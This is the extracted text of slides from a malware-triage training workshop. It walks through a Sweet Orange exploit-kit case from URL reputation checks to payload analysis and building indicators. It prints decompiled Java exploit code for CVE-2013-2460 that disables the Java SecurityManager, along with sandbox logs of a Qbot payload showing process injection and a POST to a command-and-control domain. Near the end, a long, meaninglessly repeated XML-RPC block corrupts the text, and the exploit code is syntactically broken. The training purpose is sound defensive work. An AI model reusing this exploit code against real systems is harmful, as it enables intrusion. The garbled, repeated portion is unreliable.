Crowdsourced Malware Triage!
Making Sense of Malware With a Browser and a Notepad
Hello, My Name is:

Sergei Frankoff
@herrcore

Sean Wilson
@seanmw
WARNING!
We use real malware and real exploits in the workshops. These have been specifically designed to NOT harm your workstation even if you make a mistake.

However, your Anti-Virus and your employer probably don’t know the difference. Use your own judgement.
Malware?

01101101 01100001 01101100 01110111
01100001 01110010 01100101 00100000

Malware is just code!

01101001 01110011 00100000 01100011
01101111 01100100 01100101 00100000
Malware Triage

- Suspicious URL
- Suspicious E-mail
- Intel feed

- Is it malicious?
- What is it exploiting?
- Do we have exposure?
Effective Triage is Not Analysis

Triage is effective when malware has been detected in the delivery phase.

Quick way to answer “Do I have exposure?”
“If yes, then what next?”

(Lockheed Martin’s Intrusion Kill Chain)
Toolbelt

Notepad (with find/replace) + Web Browser + Internet Access
Crowdsoucre!
OPSEC Warning!

By using these tools you will be sharing data with an unknown third party and in some cases with the entire internet.
The Scenario
Triage Workflow

Passive analysis → Initial interaction and download → Web component analysis → Exploit Analysis → Payload extraction → Payload analysis → Build IOCs
Passive Analysis

- VirusTotal
- BlueCoat Web Pulse
- Passive Total
- Domain Tools
URL: http://cdn.tequilacritico.net/
Detection ratio: 4 / 58
Analysis date: 2014-08-27 21:55:03 UTC (0 minutes ago)

<table>
<thead>
<tr>
<th>URL Scanner</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>BitDefender</td>
<td>Malware site</td>
</tr>
<tr>
<td>Fortinet</td>
<td>Malware site</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>Malware site</td>
</tr>
<tr>
<td>Sophos</td>
<td>Malicious site</td>
</tr>
<tr>
<td>ADMINUSLabs</td>
<td>Clean site</td>
</tr>
</tbody>
</table>
WebPulse Site Review Request

The page you want reviewed is http://cdn.tequilacritico.net/ (Check another site)
This page is currently categorized as **Malicious Sources/Malnets** ▲ Last Time Rated/Reviewed: August 26, 2014 14:32:50 GMT

If you feel these categories are **CORRECT**, click here to learn more about your Internet access policy.

If you feel these categories are **INCORRECT**, please fill out the form below to have the web page reviewed.

**Filtering Service:**
Select One ▼

**Category or categories that this site belongs to (read descriptions):**
Select a Category ▼ Second Category (optional) ▼
### Whois & Quick Stats

| Email | abuse@web.com is associated with ~9,968,594 domains  
|       | no.valid.email@worldnic.com is associated with ~506,744 domains  
|       | jose@thecritico.com is associated with ~16 domains |
| Regrant Org | Network Solutions Private Registration is associated with ~20 other domains |
| Registrar | NETWORK SOLUTIONS, LLC. |
| Registrar Status | clientTransferProhibited |
| Dates | Created on 2012-01-11 - Expires on 2015-01-11 - Updated on 2013-11-12 |
| Name Server(s) | NS3.WORLDNIC.COM (has 3,411,717 domains)  
|       | NS4.WORLDNIC.COM (has 3,411,717 domains) |
| IP Address | 208.91.197.27 - 1,219,951 other sites hosted on this server |
| IP Location | TX - Austin - Confluence Networks Inc |
| ASN | AS40034 CONFLUENCE-NETWORK-INC - Confluence Networks Inc, VG (registered Apr 11, 2011) |
| Domain Status | Registered And Active Website |
| Whois History | 15 records have been archived since 2012-01-13 |
| IP History | 4 changes on 3 unique IP addresses over 2 years |
| Registrar History | 1 registrar |
You can’t shouldn’t fake reputation.
Initial Interaction

UserAgentString
Online Curl
URL Query
JS Beautify
User Agent String explained:

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Copy/paste any user agent string in this field and click 'Analyze'

<table>
<thead>
<tr>
<th>Internet Explorer 10.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mozilla</td>
</tr>
<tr>
<td>5.0</td>
</tr>
<tr>
<td>compatible</td>
</tr>
<tr>
<td>MSIE 10.0</td>
</tr>
<tr>
<td>Windows NT 6.1</td>
</tr>
<tr>
<td>WOW64</td>
</tr>
<tr>
<td>Trident</td>
</tr>
<tr>
<td>6.0</td>
</tr>
</tbody>
</table>

MozillaProductSlice. Claims to be a Mozilla based user agent, which is only true for Gecko browsers like Firefox and Netscape. For all other user agents it means 'Mozilla-compatible'. In modern browsers, this is only used for historical reasons. It has no real meaning anymore.

Mozilla version

Compatibility flag
Indicates that this browser is compatible with a common set of features.

Name:
Internet Explorer version 10.0

Operating System:
Windows 7

(Windows-On-Windows 64-bit) A 32-bit application is running on a 64-bit processor

Layout engine for the Microsoft Windows version of Internet Explorer.

Trident version
Online Curl

OnlineCurl.com powered by Rigor


Enter Email Address for Free Report

Curl

Add Option

Remove --user-agent (-A) Mozilla/5.0 (Windows; U; Windows NT 6;)
Response Header

HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Tue, 26 Aug 2014 13:54:38 GMT
Content-Type: text/html
Content-Length: 108206
Connection: keep-alive

Response Body

<html lang="en">
<head>
<meta name="Description" content="most visited volcano in Asia other cultural training">
</head>
<body>
<li>most visited volcano in Asia</li>
<p>2. Mount Fuji, Japan</p>
</body>
</html>
DO IT LIVE!
Make sure you can access the following tools:

http://www.useragentstring.com/

http://onlinecurl.com/ or http://hurl.it

http://urlquery.net/

Collect a sample of the exploit using CURL with your user agent.

Make sure you copied the response to your notepad.

Try to get URLQuery to analyze the URL:

This may be very slow or not work at all… try searching for the URL on URLQuery instead.

10 MINUTES
Web Component Analysis

Chapman Online JS Interpreter
JS Beautify
Web Browser
Base64Decode
<HEAD>
<meta name="Description" content="most visited volcano in Asia other cultural training">
<meta name="KeyWords" content="in Tengger Caldera national park, it is the only active volcano , tango">
<meta name="copyright" content="scopy; most visited volcano in Asia">
<title>In Tengger Caldera national park, it is the only active volcano</title>
</HEAD>

<body>
<p>Mount Fuji in Japan is known by locals as Fuji San. It's located <em>in</em> Honshu and it's probably the most visited volcano in Asia. Mount Fuji gets
</p>

The volcano last erupted in 1707 so in theory it's perfectly safe. However, the Japanese government did an eruption simulation exercise in 2

function UHtvw(x) {
    IuoWN = String(Math.sqrt);
    var ar = ars();
    if (isNaN(IuoWN.match(/sqr/ig))) {
        return 0;
    }
}
## Analysis report for file 92faa3e2e16a4df5186139a834f72a52

### Sample Overview

<table>
<thead>
<tr>
<th>File</th>
<th>ek.html</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>92faa3e2e16a4df5186139a834f72a52</td>
</tr>
<tr>
<td>Analysis Started</td>
<td>2014-08-28 08:16:26</td>
</tr>
<tr>
<td>Report Generated</td>
<td>2014-08-28 08:16:26</td>
</tr>
<tr>
<td>Jsand version</td>
<td>2.3.6</td>
</tr>
</tbody>
</table>

### Detection results

<table>
<thead>
<tr>
<th>Detector</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jsand 2.3.6</td>
<td>benign</td>
</tr>
</tbody>
</table>

### Exploits

No exploits were identified.

### Deobfuscation results

None.
Note that this is dynamic code running locally on your machine. If you leave this page before copying and saving your work, it may disappear.

Quick reference to basic JavaScript commands. Search online for tutorials.
Decode from Base64 format

Simply use the form below

Base64

Base64 is a generic term for a number of similar encoding schemes that encode binary data by treating it numerically and translating it into a base 64 representation. The Base64 term originates from a specific MIME content transfer encoding.

Base64 encoding schemes are commonly used when there is a need to encode binary data that
Workshop TIPS!
Workshop TIPS!
DO IT LIVE!
Make sure you can access the following tools:

http://jsbeautifier.org/
https://www.base64decode.org/
http://www.convertstring.com/EncodeDecode/HexDecode

Exercise Steps

1. Upload the downloaded web component from the previous exercise to js beautify and identify the dangerous function calls.
2. Copy the beautified code back to your notepad and defang the dangerous function calls by turing them into variables.
   
   ex. eval(bad_code) → var defang_eval = bad_code
3. Save the downloaded web component from your notepad as a .html file
4. Open the file in your web browser and add a breakpoint to the defanged functions.
5. Run the JS and see what you get.
6. Identify and download a copy of the exploit.

20 MINUTES
Exploit Analysis

VirusTotal
Metasploit Git (Google)
ShowMyCode
IDEOne
Notepad
SHA256: c3ec6466a3f19410f2167dbdf6c211ed92ecb1847120d46e3d951bfc4142b492
Detection ratio: 2 / 55
Analysis date: 2014-08-25 18:42:42 UTC (1 day, 6 hours ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kaspersky</td>
<td>HEUR:Exploit.Java.Generic</td>
<td>20140825</td>
</tr>
<tr>
<td>NANO-Antivirus</td>
<td>Exploit.Zip.CVE-2013-2460.cvdhgv</td>
<td>20140825</td>
</tr>
<tr>
<td>AVG</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AVWare</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
public class WzIO1ld extends Preloader {
    private static void Kilq(String method, Class<?> class1) throws Exception {
        boolean flag = Character.isSupplementaryCodePoint(0x10fffd);
        boolean flag1 = Character.isSupplementaryCodePoint(0x10ffff);
        boolean flag2 = Character.isSupplementaryCodePoint(0x110000);
        boolean flag3 = Character.isSupplementaryCodePoint(0x1100f0);
        boolean flag4 = Character.isSupplementaryCodePoint(0x110100);
        boolean flag5 = Character.isSupplementaryCodePoint(0x1101f0);
        boolean flag6 = Character.isSupplementaryCodePoint(0x110200);
        boolean flag7 = Character.isSupplementaryCodePoint(0x1102f0);
        boolean flag8 = Character.isSupplementaryCodePoint(0x110300);
        boolean flag9 = Character.isSupplementaryCodePoint(0x1103f0);
        boolean flag10 = Character.isSupplementaryCodePoint(0x110400);
        boolean flag11 = Character.isSupplementaryCodePoint(0x1104f0);
        boolean flag12 = Character.isSupplementaryCodePoint(0x110500);
        boolean flag13 = Character.isSupplementaryCodePoint(0x1105f0);
        boolean flag14 = Character.isSupplementaryCodePoint(0x110600);
        boolean flag15 = Character.isSupplementaryCodePoint(0x1106f0);
        boolean flag16 = Character.isSupplementaryCodePoint(0x110700);
        boolean flag17 = Character.isSupplementaryCodePoint(0x1107f0);
        boolean flag18 = Character.isSupplementaryCodePoint(0x110800);
        boolean flag19 = Character.isSupplementaryCodePoint(0x1108f0);
        boolean flag20 = Character.isSupplementaryCodePoint(0x110900);
    }
}
public void YKH(WziO1ld wziO1ld, Class aclass[])
{
    String asl = NKFwlfyRoOz.POPK(wziO1ld);
    try
    {
        byte abyte[] = new byte[8192];
        Class class1 = wziO1ld.getClass();
        Object obj = Xjyj(class1, "getResourceAsStream", "java.lang.String", "ofaPB.qvcv");
        abyte = NKFwlfyRoOz.dzL1N1leH(obj, "5555460D2A1FD2992");
        Object obj1 = Class.forName("com.sun.tracing.ProviderFactory").getMethod("getDefautlFactory", new Class[]).invoke(null, new Object[]);
        WziO1ld.PDU(obj1);
        Class class2 = Class.forName("java.lang.invoke.MethodHandles");
        System.out.println(obj1);
        Method method = class2.getMethod("lookup", new Class[]);
        XEC = GnkvnPko.invoke(null, method, new Object[]);
        Class class3 = NLqfxIgubs("sun.org.mozilla.javascript.internal.Context");
        Class class4 = NLqfxIgubs("sun.org.mozilla.javascript.internal.DefiningClassLoader");
        Class class5 = NLqfxIgubs("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
        MethodHandle methodhandle = (MethodHandle)IVKfDUQ(class3, "enter", class3, new Class[][], true);
        Class aclass[] = new Class[];
        aclass[0] = Class.forName("java.lang.ClassLoader");
        MethodHandle methodhandle1 = (MethodHandle)IVKfDUQ(class3, "createClassLoader", class5, aclass, false);
        aclass = new Class[];
        aclass[0] = Class.forName("java.lang.String");
        aclass[] = (new byte[10]).getClass();
        MethodHandle methodhandle2 = (MethodHandle)IVKfDUQ(class4, "defineClass", java/lang/Class, aclass, false);
        Object obj2 = methodhandle2.invoke();
        Object obj3 = methodhandle1.invoke(obj2, null);
        Class class6 = methodhandle2.invoke(obj3, "disabler", abyte);
        class6.newInstance();
        FjejxAu.PfutQK(EaXkklqWQ.edBmpqOp(as[0], ""), (new StringBuilder()).append(EaXkklqWQ.edBmpqOp(as[1], s88)).append(s69).toString(), EaXkklqWQ.edBmpqOp(as[2], s0));
    }
}
```java
import java.io.PrintStream;
import java.lang.invoke.*;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class disabler
{
    implements PrivilegedExceptionAction

    public disabler()
    {
        try
        {
            AccessController.doPrivileged(this);
        }
        catch(Exception exception) { }
    }

    void CallSec(SecurityManager securitymanager)
    throws Throwable
    {
        java.lang.invoke.MethodHandles.Lookup lookup = MethodHandles.publicLookup();
        System.out.println("sdfsdfsdfsdf");
        MethodType methodtype = MethodType.methodType(Void.TYPE, new Class[]
        {
            java/lang/SecurityManager
        });
        System.out.println("sdfsdfsdfsdf 5");
        methodhandle.invokeWithArguments(new Object[]
        {
            null
        });
    }

    public Object run()
    {
        try
        {
            CallSec(null);
        }
        catch(Throwable throwable) { }
        return Integer.valueOf(66);
    }
}
public Exploit() {
    try {
        ByteArrayInputStream classInputStream = new ByteArrayInputStream(new byte[8192]);
        int classLength = classInputStream.read(classBuffer)
        classInputStream.write(classBuffer, 0, classLength);
        classBuffer = classInputStream.toByteArray();

        ProviderFactory fac = ProviderFactory.getDefaultFactory();
        Provider p = fac.createProvider(ExpProvider.class);
        InvocationHandler invoc = Proxy.getInvocationHandler(p);
        Class handle = java.lang.invoke.MethodHandles.class;
        Method m = handle.getMethod("lookup", new Class[0]);
        lookup = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);
        Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
        Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
        Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
        MethodHandle enterMethod = getMethod(context, "enter", context, new Class[0], true);
        Class argTypes[] = new Class[1];
        argTypes[0] =ClassLoader.class;
Payload Extraction

IDEOne
Web Browser
```java
public static void main(String[] args) throws java.lang.Exception {
    String data = "3e6c4e676b693d";
    String s1 = "";
    String as[] = uGmNvwoKbE(data, s1);
    String s14 = "";
    for (int i = 0; i < as.length; i++)
        s14 = (new StringBuilder()).append(s14).append(XJS8j(as[i], "8")).toString();
    System.out.println(s14);
}
```
```java
/* Name of the class has to be "Main" only if the class is public. */
class Ideone {

    //copied from exploit
    public static String decryption(String inobfuscated) {
        //some decryption
        return inobfuscated;
    }

    public static void main (String[] args) throws java.lang.Exception {
        //copied from exploit
        String obfuscated = "oadspoadfpofdp";

        // your code goes here
        System.out.println(decryption(obfuscated));
    }
}
```
DO IT LIVE!
Make sure you can access the following tools (sites):

https://www.virustotal.com/
http://www.showmycode.com/
http://www.tutorialspoint.com/codingground.htm or http://ideone.com/

Exercise Steps

1. Upload the exploit from the previous exercise to Virus Total, was it identified?
2. Use ShowMyCode to decompile the exploit code and copy it to your notepad.
3. Use an online IDE to run the de-obfuscation function from the exploit and de-obfuscate the strings (copying them back to your notepad and replacing the obfuscated ones).
4. Can you match this exploit to one in the wild? Try Googling for it.
5. Identify the code used to download the payload.
6. Download a copy of the payload.

20 MINUTES
SHA256: 9c2fffb4feecb57a27f85558043f22a8618e3916eb6b5c3f60f3443610881148
File name: aobarm.exe
Detection ratio: 5 / 55
Analysis date: 2014-08-25 18:43:12 UTC (2 days, 2 hours ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bkav</td>
<td>HW32.Laneul.guag</td>
<td>20140821</td>
</tr>
<tr>
<td>DrWeb</td>
<td>BackDoor.Qbot.222</td>
<td>20140825</td>
</tr>
<tr>
<td>Qihoo-360</td>
<td>HEUR/Malware.QVM20.Gen</td>
<td>20140825</td>
</tr>
<tr>
<td>Rising</td>
<td>PE:Malware.XPACK-LNR/Heur1.5594</td>
<td>20140825</td>
</tr>
<tr>
<td>Sophos</td>
<td>Mal/Qbot-I</td>
<td>20140825</td>
</tr>
<tr>
<td>AVG</td>
<td></td>
<td>20140825</td>
</tr>
</tbody>
</table>
Written files
C:\Documents and Settings\<USER>\Application Data\Microsoft\Akiegaki\akiegaki.dll (successful)

Copied files
SRC: C:\9c2ffbf4feebcc57a2785558043fb22a8618e3916eb6b5c3f60f34436108811148
DST: C:\Documents and Settings\<USER>\Application Data\Microsoft\Akiegaki\akiegaki.exe (successful)

Code injections in the following processes
explorer.exe (successful)
ping.exe (successful)
VBoxTray.exe (successful)
akiegaki.exe (successful)

Created mutexes
9c2ffbf4feebcc57a2785558043fb22aa (successful)
sswjvoi (successful)
Global\expit (successful)
Global\kmydtpd (successful)
Global\veejevyo (successful)
Global\akiegaki (successful)
HTTP requests

URL: http://google.com/
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://vindo.coasset.edgesuite.net/Repository/CampaignCreative/Campaign_18674/INSTREAM/KRT0565H_Chili_Pot_Non-New.flv?a=20555
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://vyqfqswbkoqd.com/diZkPXpL.php
TYPE: POST
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://forumity.com/show-ip.php
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

DNS requests

google.com (173.194.40.101)
nouawetqd.biz
www.ip-adress.com (64.34.169.244)
vindo.coasset.edgesuite.net (90.84.60.106)
nvxjhyncsiirjuiwcswss.biz
zzlwdlifmhyisztgcctgtp.org
### Analysis

<table>
<thead>
<tr>
<th>CATEGORY</th>
<th>STARTED</th>
<th>COMPLETED</th>
<th>DURATION</th>
</tr>
</thead>
<tbody>
<tr>
<td>FILE</td>
<td>2015-03-16 12:50:40</td>
<td>2015-03-16 12:52:58</td>
<td>138 seconds</td>
</tr>
</tbody>
</table>

### File Details

<table>
<thead>
<tr>
<th>FILE</th>
<th>NAME</th>
<th>SIZE</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014-08-25-Sweet-Orange-EK-malware-payload.exe</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>294912 bytes</td>
</tr>
</tbody>
</table>
Signatures
- File has been identified by at least one AntiVirus on VirusTotal as malicious
- The binary likely contains encrypted or compressed data.
- Retrieves Windows ProductID, probably to fingerprint the sandbox
- Tries to unhook Windows functions monitored by Cuckoo
- Installs itself for autorun at Windows startup

Screenshots

Hosts
No hosts contacted.

Domains
No domains contacted.

https://malwr.com/analysis/NDlzYjMxOCVhYmM2NDg1ODhhODlhOCVkJVJvMCY3ZTc/#signature_antisandbox_unhook
We apologize, but our current Eurekta queue is full. Please try back later ... perhaps in about an hour.
DO IT LIVE!
Make sure you can access the following tools:

https://www.virustotal.com/
https://malwr.com/

Exercise Steps

1. Upload the payload to VirusTotal. Has it been identified?
2. Upload the payload to Malwr.
3. Review the following from the Malwr analysis;
   - Mutex created
   - Registry keys created
   - Network traffic

10 MINUTES
Build IOCs

TotalHash
Malwr
YaraGenerator
IOCBucket
The pattern matching swiss knife for malware researchers (and everyone else)

OpenIOC
An Open Framework for Sharing Threat Intelligence
Sophisticated Threats Require Sophisticated Indicators
Welcome to the #totalhash malware analysis database, powered by Team Cymru

#totalhash provides static and dynamic analysis of Malware samples. The data available on this site is free for non commercial use. If you have samples that you would like analyzed you may upload them to our server.

Interested in more power? Try Malware Hawk, Team Cymru's premium version of #totalhash.

Search #totalhash

Keys: av dnsrr email filename hash ip mutex pdb registry url useragent version

query here eg av:*bot*  Search
For details on how to perform searches, get some help.

For MD5, SHA1, SHA256 and SHA512 no prefix is needed.

<table>
<thead>
<tr>
<th>PREFIX</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>name:</td>
<td>File name pattern</td>
</tr>
<tr>
<td>type:</td>
<td>File type/format</td>
</tr>
<tr>
<td>string:</td>
<td>String contained in the binary</td>
</tr>
<tr>
<td>ssdeep:</td>
<td>Fuzzy hash</td>
</tr>
<tr>
<td>crc32:</td>
<td>CRC32 hash</td>
</tr>
<tr>
<td>hash:</td>
<td>Search for PE Imhash</td>
</tr>
<tr>
<td>file:</td>
<td>Opened files matching the pattern</td>
</tr>
<tr>
<td>key:</td>
<td>Opened registry keys matching the pattern</td>
</tr>
<tr>
<td>mutex:</td>
<td>Opened mutexes matching the pattern</td>
</tr>
<tr>
<td>domain:</td>
<td>Contacted the specified domain</td>
</tr>
<tr>
<td>ip:</td>
<td>Contacted the specified IP address</td>
</tr>
<tr>
<td>url:</td>
<td>Performed HTTP requests matching the URL pattern</td>
</tr>
<tr>
<td>signature:</td>
<td>Search for Cuckoo Sandbox signatures</td>
</tr>
<tr>
<td>tag:</td>
<td>Search on your personal tags</td>
</tr>
</tbody>
</table>
Analysis - Malwr - Malware Analysis by Cuckoo Sandbox
https://malwr.com/.../ZjlkODRiNjllMTFjMjNGQ3ODg4NzU4NjJiYTVM/AwNGQ/
6 days ago ... signs: [(u'type': u'http', u'value': {u'count': 1, u'body': u'"', u'url': u'http://ipecho.net/plain', u'method': u'GET', u'host': u'ipecho.net', u'version': 1.1, ...)

0351489fda345e65ce6e1c63516055
https://malwr.com/.../NWY2MTlkYzJmYjE2NDI5Y2JlNTYSzM0NTExY2IwODQ/
6 days ago ... signs: [(u'type': u'http', u'value': {u'count': 1, u'body': u'"', u'url': u'http://ipecho.net/plain', u'port': 80, u'host': u'ipecho.net', u'version': 1.1, ...)

Signatures
https://www.hybrid-analysis.com/.../ed4f9dea4102cf0e8ab72eec10e190d259944c9e9656a124d4ca6c208059...
2 hours ago ... details: "QuimbyKit90adsf90"; source: Created Mutant; relevance: 3/10; research: Show me all reports matching the same signature. GETs files ...

f0b2a092678139684812b829cccbe187
https://malwr.com/.../NTU3OWRlNTY4ODcwNDEyZGJkYTgxZDcwYWEyY2UwMDE/
18 hours ago ... signs: [(u'type': u'http', u'value': {u'count': 1, u'body': u'"xml version="1.0"?>

<methodCall>
<methodName>NinjaSword</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>

<param name="data" type="string" value="<xml version="1.0"?>

<methodCall>
<methodName>\</methodName>
<params>
<param name="url" type="string" value="https://www.example.com"/>
#totalhash

Malware Analysis Database

Search #totalhash

Keys: av dnsrr email filename hash ip mutex pdb registry url useragent version

```
av:*cve-2013-2460* or registry:*cve-2013-2460*
```

Here you can search for static or dynamic characteristics of samples in our database.

Switch to Network View

Displaying 1 - 20 of 67 results

<table>
<thead>
<tr>
<th>SHA1</th>
<th>TIMESTAMP</th>
<th>ORIGIN</th>
<th>SIGNATURE</th>
<th>PACKER</th>
</tr>
</thead>
<tbody>
<tr>
<td>b86d4974367e9056b3a354ccda2b2ef588da5e911</td>
<td>2015-03-10 06:02:11</td>
<td>no virus</td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>0da0240a0c6b4e665723d22388c82148104b</td>
<td>2015-03-10 05:53:39</td>
<td>no virus</td>
<td></td>
<td>N/A</td>
</tr>
<tr>
<td>Static Details:</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>FILE TYPE</strong></td>
<td>Zip archive data, at least v1.0 to extract</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>360 Safe</td>
<td>no virus</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>Ad-Aware</td>
<td>Java Exploit CVE-2013-0422.F</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>Alwil (avast)</td>
<td>no virus</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>Arcabit (arcavir)</td>
<td>Java Exploit CVE-2013-0422.F</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>Authentium</td>
<td>no virus</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>Avira (antivir)</td>
<td>no virus</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>BullGuard</td>
<td>Java Exploit CVE-2013-0422.F</td>
<td></td>
<td></td>
</tr>
<tr>
<td><strong>AV</strong></td>
<td>CA (E-Trust Ino)</td>
<td>no virus</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## Term `mutex:zx5fwtw4ep`

### Search Results (limited to first 100)

<table>
<thead>
<tr>
<th>TIMESTAMP</th>
<th>MD5</th>
<th>FILE NAME</th>
<th>FILE TYPE</th>
<th>ANTVIRUS</th>
</tr>
</thead>
<tbody>
<tr>
